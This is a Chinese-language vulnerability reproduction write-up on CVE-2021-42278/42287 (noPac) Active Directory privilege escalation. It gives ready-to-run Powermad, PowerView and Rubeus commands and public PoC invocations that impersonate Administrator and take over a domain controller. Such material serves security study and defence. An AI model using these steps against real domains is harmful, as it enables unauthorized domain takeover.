CVE-2021-42278 & CVE-2021-42287 域提权

漏洞简介

CVE-2021-42278

一般来说,机器账号的名字应该以$符号结尾的。例如DC$表示DC这台主机的账户名。但是微软只是进行了规定,并没有验证程序对用户创建的用户名进行验证,也就是说,创建DC用户名完全是可以的。(这里指的是机器账号的sAMAccountName属性)

CVE-2021-42287

结合上面那个漏洞,如果创建了一个用户名为DC的账户,此时使用这个账户去申请一张TGT票据,然后在申请ST之前,将这个账户名修改掉或者删除掉,那么在进行申请ST的时候,KDC在进行验证时就查不到这个账户,此时KDC就会去查找DC$这个账户,如果这个账户存在的话,最终返回的就是DC$这个账户申请的ST。也就相当于获取到了域控账户申请的高权限服务票据。

漏洞复现

漏洞利用步骤

首先需要一个域内用户,然后提权至域管,接管域控。步骤如下

  1. 创建一个机器账户
  2. 清除机器账户的SPN
  3. 修改机器账户的sAMAccountName属性值
  4. 使用机器账户请求TGT
  5. 再次修改机器账户的sAMAccountName属性值
  6. 获取高权限ST票据
  • 1.创建机器用户

使用 Powermad 创建一个新的机器账户, syyu$

当申请一个机器账户MachineCount时,SPN会自动注册

1
New-MachineAccount -MachineAccount syyu -Domain hacker.me -DomainController dc.hacker.me -Verbose
  • 2.清除SPN

使用 PowerSploit 下的 PowerView 工具 ,进行清除

1
2
3
Import-Module .\PowerView.ps1

Set-DomainObject "CN=syyu,CN=Computers,DC=hacker,DC=me" -Clear 'serviceprincipalname' -Verbose
  • 3.修改sAMAccountName属性

sAMAccountName 改为域控的机器账号名

1
Nslookup -type=SRV _ldap._tcp  // 查询 域控的主机名
1
2
 // sAMAccountName 改为域控的机器账号名
Set-MachineAccountAttribute -MachineAccount syyu -Value "dc" -Attribute samaccountname -Verbose
  • 4.请求TGT

使用更改后的机器名申请TGT票据,利用 Rubeus 完成请求

1
Rubeus.exe asktgt /user:dc /password:p@ssWord /domain:hacker.me /dc:dc.hacker.me /nowrap
  • 5.再次修改sAMAccountName属性值

samaccountname重置会原本的用户名或改为其他域内不存在账户

1
Set-MachineAccountAttribute -MachineAccount syyu -Value "syyu$" -Attribute samaccountname -Verbose
  • 6.获取高权限ST票据

在采用刚刚获取到的TGT进行S4U2self请求来获取域控ST票据(这个过程KDC会去查找samaccountname,由于刚才MachineCountsamaccountnamedc,所以KDC回去查找这个dc,此时由于已经将MachineCountsamaccountname所更改,KDC查找不到dc就会在后面加上$符去寻找,此时找到的就为域控的dc$,并将它的ST票据返回)

1
2
3
Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"ldap/dc.hacker.me" /dc:"dc.hacker.me" /ptt /ticket:[TGT值]

Rubeus.exe s4u /self /impersonateuser:Administrator /altservice:"CIFS/dc.hacker.me" /dc:"dc.hacker.me" /ptt /ticket:[TGT]

此时,我们便获取了DCST票据

poc使用

sam_the_admin

https://github.com/WazeHell/sam-the-admin

1
python3 sam_the_admin.py "god/liukaifeng01:hongrisec@2021@" -dc-ip 192.168.52.138 -shell

noPac_python

https://github.com/Ridter/noPac

1
pip3 install impacket
1
python3 noPac.py redteam/saul:'admin!@#45' -dc-ip 10.10.10.8 -dc-host owa -shell --impersonate administrator 

参考链接

https://blog.csdn.net/FHLZLHQ/article/details/121964692

http://www.m1sn0w.top/2021/12/17/CVE-2021-42278&CVE-2021-42278%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E4%B8%8E%E5%88%86%E6%9E%90/

https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html

https://sairson.cn/index.php/archives/45/

poc

https://github.com/WazeHell/sam-the-admin

https://github.com/Ridter/noPac

https://github.com/cube0x0/noPac

https://github.com/ricardojba/Invoke-noPac

tools

https://github.com/Kevin-Robertson/Powermad

https://github.com/PowerShellMafia/PowerSploit

https://github.com/GhostPack/Rubeus